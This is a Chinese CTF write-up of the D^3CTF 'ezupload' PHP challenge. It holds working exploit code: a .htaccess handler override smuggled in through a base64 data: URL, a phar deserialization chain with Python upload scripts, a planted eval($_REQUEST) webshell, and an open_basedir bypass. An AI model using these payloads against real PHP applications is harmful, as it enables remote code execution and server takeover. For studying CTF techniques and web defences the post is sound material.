[D^3CTF]EZupload WP

2019-12-23  本文已影响0人  Err0rzz

又是看官方wp复现的一篇二手文章

web

ezupload

  <?php
    class dir
    {
        public $userdir;
        public $url;
        public $filename;
        public function __construct($url, $filename)
        {
            $this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
            $this->url = $url;
            $this->filename  =  $filename;
            if (!file_exists($this->userdir)) {
                mkdir($this->userdir, 0777, true);
            }
        }
        public function checkdir()
        {
            if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {
                die('hacker!!!');
            }
        }
        public function checkurl()
        {
            $r = parse_url($this->url);
            if (!isset($r['scheme']) || preg_match("/file|php/i", $r['scheme'])) {
                die('hacker!!!');
            }
        }
        public function checkext()
        {
            if (stristr($this->filename, '..')) {
                die('hacker!!!');
            }
            if (stristr($this->filename, '/')) {
                die('hacker!!!');
            }
            $ext = substr($this->filename, strrpos($this->filename, ".") + 1);
            if (preg_match("/ph/i", $ext)) {
                die('hacker!!!');
            }
        }
        public function upload()
        {
            $this->checkdir();
            $this->checkurl();
            $this->checkext();
            $content = file_get_contents($this->url, NULL, NULL, 0, 2048);
            if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)) {
                die('hacker!!!');
            }
            file_put_contents($this->userdir . "/" . $this->filename, $content);
        }
        public function remove()
        {
            $this->checkdir();
            $this->checkext();
            if (file_exists($this->userdir . "/" . $this->filename)) {
                unlink($this->userdir . "/" . $this->filename);
            }
        }
        public function count($dir)
        {
            if ($dir === '') {
                $num = count(scandir($this->userdir)) - 2;
            } else {
                $num = count(scandir($dir)) - 2;
            }
            if ($num > 0) {
                return "you have $num files";
            } else {
                return "you don't have file";
            }
        }
        public function __toString()
        {
            return implode(" ", scandir(__DIR__ . "/" . $this->userdir));
        }
        public function __destruct()
        {
            $string = "your file in : " . $this->userdir;
            file_put_contents($this->filename . ".txt", $string);
            echo $string;
        }
    }

    if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])) {
        highlight_file(__FILE__);
        die();
    }

    $dir = new dir($_POST['url'], $_POST['filename']);
    if ($_POST['action'] === "upload") {
        $dir->upload();
    } elseif ($_POST['action'] === "remove") {
        $dir->remove();
    } elseif ($_POST['action'] === "count") {
        if (!isset($_POST['dir'])) {
            echo $dir->count('');
        } else {
            echo $dir->count($_POST['dir']);
        }
    }

这题上传文件是通过post传递urlfilenameaction三个参数实现的,其中url为文件的内容,filename为文件名。

然后又是那个老问题,没有解析点,所以还是靠.htaccess或者.user.ini解决。
但是在checkurl()以及upload()中会检查文件内容,所以.user.ini是没法用了(auto_prepend_file、auto_append_file),.htaccessapplication/x-httpd-php也没法用了。

        public function checkurl()
        {
          ...
            if (!isset($r['scheme']) || preg_match("/file|php/i", $r['scheme'])) {
                die('hacker1111!!!');
        ...
   public function upload()
        {
          ...
            if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)) {
                die('hacker2222!!!');
            }
          ...

所以应该是一个新的考点,htaccessaddhandler不止application/x-httpd-php,还有比如说php7-scriptphp5-script等。

所以上传一个.htaccess

import requests
from requests_toolbelt import MultipartEncoder

url = 'http://localhost/ezupload.php'
m = MultipartEncoder(
    fields={'filename': '.htaccess', 'action': 'upload',
            'url': 'data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0'}
    )

r = requests.post(url=url, data=m,
                  headers={'Content-Type': m.content_type})
print r.text

此时文件内容为AddHandler php7-script .txt。这为什么可以绕过检测呢?
主要是checkurl()是直接检测变量url的内容,此时url的值为base64加密过的,所以绕过checkurl()。在upload()中读到的真实的内容,可是又因为upload()中并没有检测关键字php,所以AddHandler php7-script .txt成功绕过。

接着上传shell,但是upload()中将php尖括号什么都过滤了,短标签也没法用。所以考虑一下phar反序列化+压缩试一下绕过。

考虑一下如何构造phar文件,首先找到触发点。在upload()中有个文件操作函数file_put_contents($this->userdir . "/" . $this->filename, $content);应该能完成phar反序列化。因此我们的反序列化内容应该是通过url变量进去,然后在上面的$content中触发。
然后是构造哪些内容。看到有两个魔术函数

        public function __toString()
        {
            return implode(" ", scandir(__DIR__ . "/" . $this->userdir));
        }
        public function __destruct()
        {
            $string = "your file in : " . $this->userdir;
            file_put_contents($this->filename . ".txt", $string);
            echo $string;
        }

其中_toString可以输出_DIR_,而_destruct可以用来写shell
所以我们先来看一下当前路径有什么文件,phar文件如下生成:

<?php
class dir{
    public $userdir;
    public $url;
    public $filename;
}
$b = new dir();
$a = new dir("url", "filename");
$a->filename = 'upload/123/test';
$a->userdir = $b;

@unlink('vul.phar');
$phar = new Phar("vul.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("GIF89a" . " __HALT_COMPILER(); ");
$phar->setMetadata($a);
$phar->stopBuffering();
@rename('vul.phar','1.jpg')
?>

上传代码如:

import requests
from requests_toolbelt import MultipartEncoder
import gzip
import base64
import urllib

url = 'http://c5f39613-77b8-4cd3-a6f4-fb5ce8770876.node3.buuoj.cn'

def upload():
    f_in = open("1.jpg", "rb")
    f_out = gzip.open("1.jpg.gz", "wb")
    f_out.writelines(f_in)
    f_out.close()
    f_in.close()

    f = open('1.jpg.gz', 'rb')
    dd = base64.b64encode(f.read())

    m = MultipartEncoder(
        fields={'filename': 'vul.phar.gz', 'action': 'upload',
                'url': 'data:image/png;base64,%s' % (dd)}
        )


    r = requests.post(url=url, data=m,
                    headers={'Content-Type': m.content_type})
    print r.text
def check():
    dd = 'phar://./upload/33c6f8457bd77fce0b109b4554e1a95c/vul.phar.gz/1.jpg'
    data = {'filename': 'zzz.txt', 'action': 'upload', 'url': dd }
    r = requests.post(url=url, data=data, headers={'Content-Type': 'application/x-www-form-urlencoded'})
    print r.text

upload()
check()

此时整个代码的流程:

  1. index.php会生成一个dir类(不妨记为$base),url=phar://./upload/33c6f8457bd77fce0b109b4554e1a95c/vul.gz.rar/1.jpg以及filename=la.txt
$dir = new dir($_POST['url'], $_POST['filename']);
  1. 代码运行到upload()下的file_get_contents函数时,触发反序列化
$content = file_get_contents($this->url, NULL, NULL, 0, 2048);
  1. 反序列化产生了一个dir类的对象$a,各参数如下:
$b = new dir();
$a = new dir();
$a->filename = 'upload/837ec5754f503cfaaee0929fd48974e7/test';
$a->userdir = $b;
  1. $a并没有执行任何函数,所以直接就来到了_destruct
public function __destruct()
        {
            $string = "your file in : " . $this->userdir;
            file_put_contents($this->filename . ".txt", $string);
            echo $string;
        }
  1. 在执行$string = "your file in : " . $this->userdir;的时候会将$a->userdir也就是$b强制转化为字符串,此时触发$b->__toString()
public function __toString()
        {
            return implode(" ", scandir(__DIR__ . "/" . $this->userdir));
        }
  1. $b->toString()返回了__DIR__/$b->userdir下所有文件,因为此时$b->userdir=null,所以返回了网站根目录下所有文件。
  2. 此时$b也走到了__destruct打印出your file in : $b->userdir,也就是your file in :
  3. 然后回到$a->__destruct打印出网站根目录下所有文件
  4. 此时运行完$base->upload()剩下的代码,$base也走到了__distruct打印出your file in : upload/33c6f8457bd77fce0b109b4554e1a95c
这就是以上的一整条链,但是我没搞懂的是,为什么打印结果和我的推测是相反的顺序,我也懒得去调试了。。

然后看一下网站根目录是在哪个路径下,根据上述步骤的第六步,只需要改一下$b->userdir='../'即可

接下来是写shell,刚才已经弄明白了整条链,现在也差不多,只需要利用__destruct()shell写入文件,代码如下:
<?php
class dir{
    public $userdir;
    public $url;
    public $filename;
}

$a = new dir("url", "filename");
$a->filename = '/var/www/html/2c75cf2681788ada/upload/33c6f8457bd77fce0b109b4554e1a95c/zz';
$a->userdir = '<?php eval($_REQUEST[122]); phpinfo();';

@unlink('vul.phar');
$phar = new Phar("vul.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("GIF89a" . " __HALT_COMPILER(); ");
$phar->setMetadata($a);
$phar->stopBuffering();
@rename('vul.phar','1.jpg')
?>

直接利用$a__destruct来完成写入

public function __destruct()
        {
            $string = "your file in : " . $this->userdir;
            file_put_contents($this->filename . ".txt", $string);
            echo $string;
        }

然后访问zz.txt即可


发现open_basedir=/var/www/html,绕过
ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(scandir('/'));

坑点

我真佛了。。buuoj上那个目录竟然会定时更新,我一开始得到的目录,然后后面用这个目录一直失败,后来发现环境竟然会更新,所以又需要从上传.htaccess,获取目录,上传shell重新再走一遍。本地打通了,结果远程一直打不通,头发都抓掉了,浪费了我的一天。。

未完待续

上一篇下一篇

猜你喜欢

热点阅读